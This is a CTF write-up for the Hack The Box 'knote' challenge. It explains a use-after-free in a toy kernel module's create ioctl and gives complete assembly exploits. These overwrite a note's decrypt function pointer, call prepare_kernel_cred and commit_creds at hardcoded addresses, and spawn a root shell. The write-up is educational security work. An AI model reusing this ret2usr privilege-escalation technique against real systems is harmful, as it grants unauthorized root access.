Hack The Box - knote
Introduction
It's been a while since I did a challenge that I found interesting and fun enough to write up, but this one definitely had me hooked. I learnt a lot while solving this challenge. I think technically it is very simple, but there are lots of pieces that were entirely unfamiliar to me.
The files you get as part of the download are pretty simple, you get a C source file for a kernel module, the compiled kernel module, the Linux image and root filesystem. There is also an example QEMU command line provided to run the system locally, presumably the same way as it would be run when you start the instance on HTB.
The kernel module is very small and simple, so there's not a lot to pick over in order to find the vulnerable code. It registers a new character device /dev/knote and implements some ioctl requests to interact with the device and the kernel module.
It provides a way to manage "notes" in kernel space, up to 10 short data entries (max 32 bytes each), and optionally encrypt or decrypt them using a toy cipher.
The options we have are listed by the knote_ioctl_cmd enumeration:
;
The way notes are stored in kernel memory is also interesting, as there are function pointers used for the encryption and decryption functions:
;
From this small amount of information it seems a sensible target would be to gain control of one of these function pointers and use that to get arbitrary code execution in kernel mode.
Reading the implementation of the various operations, the implementation of the "create" operation stands out as having quite a few potential issues:
case KNOTE_CREATE:
if
return -EINVAL;
char *data = ;
knotes = ;
if
knotes->data = data;
knotes->len = ku.len;
if
knotes->encrypt_func = knote_encrypt;
knotes->decrypt_func = knote_decrypt;
break;
The following things about this code stand out to me:
- Only calling
kfreeonknotes[ku.idx]->dataandknotes[ku.idx]pointers, and not actually clearingknotes[ku.idx]after thekfree, as is done when you call theKNOTE_DELETEioctl - Leaving the two function pointers
encrypt_funcanddecrypt_funcuninitialized after failing to clear the pointer atknotes[ku.idx]on failedcopy_from_user. - To a lesser extent, and after doing a bit of reading about allocating kernel memory, calling
kmallocand notkzallocso the allocated memory isn't zeroed before being returned to the kernel module
The code also calls kfree on the data and note entry pointers in the same order as their allocation. Assuming the last freed chunk will be the next allocated, this could mean that after hitting this case where copy_from_user fails, the next allocated note will have its user-controlled data at the address referenced by knotes[ku.idx] here.
Debugging Setup
It was pretty helpful in developing all of this to have a debugger set up so that I could set up breakpoints in the kernel.
It's easy enough to attach GDB to QEMU - you can provide the options -gdb tcp::<port> to set up a GDB server on the specified port and -S to stop execution until the debugger has attached.
Then from GDB you just need to target the remote and set any helpful breakpoints.
An example command line I would use to start GDB with a breakpoint set (and assembly and registers in a windowed view):
Getting Control of Code Execution
As mentioned earlier, it seems that creating an note entry where we hit the case that copy_from_user fails, followed by creating a valid note, would allow as to control the function pointers for the first note. Luckily, making copy_from_user fail is trivial - we just need to provide an invalid pointer for the data argument in the user-space struct used for the argument in the ioctl requests.
The user-space struct we use, looks like this:
;
So what we need is the following:
- create a new note with
data = NULLandlen = 0x20(to match the size of the allocation for the kernel-spacestruct knote). - create a second note with a valid
datapointer to some crafted data including data at the offsets of one ofencrypt_func(0x10) anddecrypt_func(0x18) - invoke the crafted function pointer by using the
KNOTE_ENCRYPTorKNOTE_DECRYPTioctlrequest
I decided to write my solution to this challenge in assembly. It seemed a fairly natural choice - I wanted a small executable, ideally with no runtime dependencies, and I would need to call some specific ioctl requests, so I would need a relatively low-level language. I would also need to execute my code on a remote server, usually with a pretty flaky interface, and the act of transferring a file there could be its own challenge, so the smaller the better.
In general I didn't want to have to write too much extra code, so I make the program exit with the error number returned by the system call if there is an unexpected error, so I can trace the origin down to some degree at least.
I did write a hex printing function too, and kept it around until the end as I thought it would be necessary to leak some kernel addresses to get a successful exploit, but this didn't turn out to be the case. I removed all the printing code in the listings here to try to keep the code to a reasonable length.
The following code implements what is described above, in order to get control of the instruction pointer %rip, with a call to 0x4444444444444444 (controlled by the last 8 bytes of the valid note entry) by triggering decrypt_func on the note whose function pointers we overwrote.
Calling encrypt_func would be equally valid, directing to execution to 0x4343434343434343 instead of 0x4444444444444444 of course. I originally had the implementation of this the other way around (create valid note, delete valid note, create note with null data), and in this case, the offset of encrypt_func was overwritten by what looks like allocator metadata, though I still need to understand a lot of the properties of the kernel allocator.
.section .text
.global _start
_start:
and $-0x10, %rsp
sub $0x40, %rsp
// %rsp => "/dev/knote"
movq $0x6574, 0x8(%rsp)
movq $0x6f6e6b2f7665642f, %rax
mov %rax, (%rsp)
// open("/dev/knote", O_RDONLY, 0)
mov $2, %eax
mov %rsp, %rdi
xor %esi, %esi
xor %edx, %edx
syscall
test %rax, %rax
js .Lerror
// %r12 = fd
mov %rax, %r12
mov %r12, %rdi
mov $0, %rsi
call create_null_data_note
mov %r12, %rdi
mov $1, %rsi
call create_exploit_data_note
mov %r12, %rdi
mov $0, %rsi
call call_decrypt
.Lexit:
mov $0x3c, %eax
xor %edi, %edi
syscall
.Lerror:
mov %rax, %rdi
neg %edi
mov $0x3c, %eax
syscall
// %rdi = fd
// %rsi = idx
create_null_data_note:
sub $0x20, %rsp
// knote with:
// idx = %rsi
// data = NULL
// len = 0x20
movq %rsi, (%rsp)
movq $0, 0x8(%rsp)
movq $0x20, 0x10(%rsp)
// ioctl(fd, KNOTE_CREATE, knote)
mov $0x10, %eax
mov $0x1337, %esi
mov %rsp, %rdx
syscall
cmp $-14, %rax
jne .Lerror
add $0x20, %rsp
ret
// %rdi = fd
// %rsi = idx
create_exploit_data_note:
sub $0x40, %rsp
// knote with:
// idx = %rsi
// data = "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD"
// len = 0x20
lea 0x20(%rsp), %rax
mov %rsi, (%rsp)
mov %rax, 0x8(%rsp)
mov $0x20, 0x10(%rsp)
mov $0x4141414141414141, %rax
mov %rax, 0x20(%rsp)
mov $0x4242424242424242, %rax
mov %rax, 0x28(%rsp)
mov $0x4343434343434343, %rax
mov %rax, 0x30(%rsp)
mov $0x4444444444444444, %rax
mov %rax, 0x38(%rsp)
// ioctl(fd, KNOTE_CREATE, knote)
mov $0x10, %eax
mov $0x1337, %esi
mov %rsp, %rdx
syscall
test %rax, %rax
js .Lerror
add $0x40, %rsp
ret
// Call decrypt_func for the given knote index
//
// %rdi = fd
// %rsi = idx
call_decrypt:
sub $0x20, %rsp
// knote with:
// idx = %rsi
// data = 0
// len = 0
movq %rsi, (%rsp)
movq $0, 0x8(%rsp)
movq $0, 0x10(%rsp)
// ioctl(fd, KNOTE_DECRYPT, knote)
mov $0x10, %eax
mov $0x133b, %esi
mov %rsp, %rdx
syscall
test %rax, %rax
js .Lerror
add $0x20, %rsp
ret
This results in a general protection fault due a bad instruction pointer (RIP) value of 0x4444444444444444:
~ $ ./ioctl || echo $?
general protection fault: 0000 [#1] NOPTI
CPU: 0 PID: 33 Comm: ioctl Tainted: G O 5.8.3 #1
RIP: 0010:0x4444444444444444
Code: Bad RIP value.
RSP: 0018:ffffc90000087eb8 EFLAGS: 00010282
RAX: ffff888000093c20 RBX: 000000000000133b RCX: 0000000000000000
RDX: 0000000000000000 RSI: 0000000000000020 RDI: ffff888000093c40
RBP: ffffc90000087ee8 R08: 0000000000000003 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00007fff74326548
R13: 000000000000133b R14: 00007fff74326548 R15: ffff88800013fc00
FS: 0000000000000000(0000) GS:ffffffff81832000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000000000 CR3: 000000000754e000 CR4: 00000000000006b0
Call Trace:
? knote_ioctl+0xba/0xfc0 [knote]
ksys_ioctl+0x71/0xb0
__x64_sys_ioctl+0x19/0x20
do_syscall_64+0x40/0xb0
entry_SYSCALL_64_after_hwframe+0x44/0xa9
Finding Targets
Establishing control of the instruction pointer is only part of the challenge - we need something to execute in kernel-mode, which will actually benefit us.
I have to admit that while I was working on all of this, I hadn't really looked into what the goal of this would be. I'd just focused in on the kernel module and what sort of avenues to exploitation it might present. It turns out all we need to do is read the file /flag in the QEMU virtual machine, which is owned by root and has 0400 permissions. So it looks we just need to achieve privilege escalation so we can read that file's contents.
In order to examine the kernel being loaded into QEMU, I used the vmlinux-to-elf tool to extract an ELF binary so I could use standard readelf, objdump etc. to examine its contents, find symbol addresses, etc.
My first idea was to try to find if there were some point in setuid or the variants thereof that might allow setting the user ID after the permissions/validity checks had been passed. Reading the code for these functions, I couldn't see a way to achieve what I needed, but I did see that there were calls to commit_creds(struct cred *), which appeared to do the work that I needed.
My second idea was to try passing passing some kernel memory I have some control over to commit_creds, e.g. by allocating a knote and writing the values I would want to that. I couldn't make this work, and it wasn't obvious to me what to fix. I was getting general protection faults with very strange looking values for the instruction pointer, which didn't seem like an easy thing to debug. It may be possible to get privilege escalation this way, but I'm not sure.
It turns out there is another, much simpler, way. I ended up searching for "kernel privilege escalation" and found a blog post by Snyk referencing a real world kernel vulnerability and using it for privilege escalation.
Looking at the proof-of-concept code linked from the post, it seems I was just missing a step. First call prepare_kernel_cred to allocate a new struct cred with root privileges and return a pointer to it, then call commit_creds passing the struct cred * pointer returned by prepare_kernel_cred.
From the comments in the kernel source for prepare_kernel_cred, regarding its argument daemon:
@daemon is used to provide a base for the security record, but can be NULL. If @daemon is supplied, then the security data will be derived from that; otherwise they'll be set to 0 and no groups, full capabilities and no keys.
That seems like exactly what we want!
Now I was just left wondering how to chain those calls. I had thought that kernel- and user-space addresses would be strictly separated, and you wouldn't be able to call the user-space program code from the kernel. I thought I'd try it anyway, since it was easy and it seemed worth a shot at least. For this, I created a function as follows to be able to easily see if my code was executed or not from the kernel oops message:
privesc:
mov $0xdeadc0de, %rax
call *%rax
Then targeting this function with the decrypt_func pointer of a knote, I was surprised to find the page fault occurred on my call *%rax not on trying to execute user-space code:
~ $ ./ioctl
BUG: unable to handle page fault for address: ffffffffdeadc0de
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0010) - not-present page
PGD 181d067 P4D 181d067 PUD 181f067 PMD 0
Oops: 0010 [#1] NOPTI
CPU: 0 PID: 33 Comm: ioctl Tainted: G O 5.8.3 #1
RIP: 0010:0xffffffffdeadc0de
Code: Bad RIP value.
Knowing that I can call a function in my exploit program makes a huge difference. I can just write a privesc function which is essentially the following C:
;
Solution
The following program ties everything together, it sets up a knote entry with a decrypt_func pointer targeting the privesc function in our exploit code, then uses execve to get a root shell.
There's quite a bit of repetition from the first program, but I just repeated the existing parts here, as I think it makes it clearer to follow:
.section .text
.global _start
_start:
and $-0x10, %rsp
sub $0x40, %rsp
// %rsp => "/dev/knote"
movq $0x6574, 0x8(%rsp)
movq $0x6f6e6b2f7665642f, %rax
mov %rax, (%rsp)
// open("/dev/knote", O_RDONLY, 0)
mov $2, %eax
mov %rsp, %rdi
xor %esi, %esi
xor %edx, %edx
syscall
test %rax, %rax
js .Lerror
// %r12 = fd
mov %rax, %r12
// Create a knote with an invalid data
// pointer to leave the freed knote chunk
// referenced in the knotes array
mov %r12, %rdi
mov $0, %rsi
call create_null_data_note
// Create a knote with a malicious function
// pointer at the offset of decrypt_func in
// the knote kernel-space struct.
// This overwrites the decrypt_func for the
// first knote created above with index 0.
mov %r12, %rdi
mov $1, %rsi
call create_exploit_data_note
// Trigger our privilege escalation code via
// KNOTE_DECRYPT on knote with index 0
mov %r12, %rdi
mov $0, %rsi
call call_decrypt
// Set up for calling:
// execve("/bin/sh",{"/bin/sh",NULL},{NULL})
//
// %rsp = "/bin/sh\0"
// %rsp+0x08 = 0
// %rsp+0x10 = %rsp
mov $0x68732f6e69622f, %rax
mov %rax, (%rsp)
movq $0, 0x8(%rsp)
mov %rsp, 0x10(%rsp)
// Call execve
mov $0x3b, %rax
mov %rsp, %rdi
lea 0x10(%rsp), %rsi
lea 0x8(%rsp), %rdx
syscall
test %eax, %eax
js .Lerror
.Lexit:
mov $0x3c, %eax
xor %edi, %edi
syscall
.Lerror:
mov %rax, %rdi
neg %edi
mov $0x3c, %eax
syscall
// Create a knote with an invalid data pointer
// set to NULL to trigger the bug in the
// implementation of the KNOTE_CREATE ioctl call
//
// %rdi = fd
// %rsi = idx
create_null_data_note:
sub $0x20, %rsp
// knote with:
// idx = %rsi
// data = NULL
// len = 0x20
movq %rsi, (%rsp)
movq $0, 0x8(%rsp)
movq $0x20, 0x10(%rsp)
// ioctl(fd, KNOTE_CREATE, knote)
mov $0x10, %eax
mov $0x1337, %esi
mov %rsp, %rdx
syscall
cmp $-14, %rax
jne .Lerror
add $0x20, %rsp
ret
// Create a knote, placing a target function
// pointer at the offset of decrypt_func
//
// %rdi = fd
// %rsi = idx
create_exploit_data_note:
sub $0x40, %rsp
// knote with:
// idx = %rsi
// data = <0x00> (* 0x18) + <&privesc>
// len = 0x20
lea 0x20(%rsp), %rax
movq %rsi, (%rsp)
movq %rax, 0x8(%rsp)
movq $0x20, 0x10(%rsp)
movq $0, 0x20(%rsp)
movq $0, 0x28(%rsp)
movq $0, 0x30(%rsp)
// Target %rip = privesc in this executable
leaq privesc, %rax
movq %rax, 0x38(%rsp)
// ioctl(fd, KNOTE_CREATE, knote)
mov $0x10, %eax
mov $0x1337, %esi
mov %rsp, %rdx
syscall
test %rax, %rax
js .Lerror
add $0x40, %rsp
ret
// Call decrypt_func for the given knote index
//
// %rdi = fd
// %rsi = idx
call_decrypt:
sub $0x20, %rsp
// knote with:
// idx = %rsi
// data = 0
// len = 0
movq %rsi, (%rsp)
movq $0, 0x8(%rsp)
movq $0, 0x10(%rsp)
// ioctl(fd, KNOTE_DECRYPT, knote)
mov $0x10, %eax
mov $0x133b, %esi
mov %rsp, %rdx
syscall
test %rax, %rax
js .Lerror
add $0x20, %rsp
ret
// privesc is a very basic function - it calls
// two kernel functions:
// - prepare_kernel_cred to prepare a new struct
// cred as root
// - commit_creds to update the current tasks
// credentials to the root creds
privesc:
// prepare_kernel_cred
mov $0xffffffff81053c50, %rax
xor %rdi, %rdi
call *%rax
// commit_creds
mov %rax, %rdi
mov $0xffffffff81053a30, %rax
call *%rax
xor %rax, %rax
ret
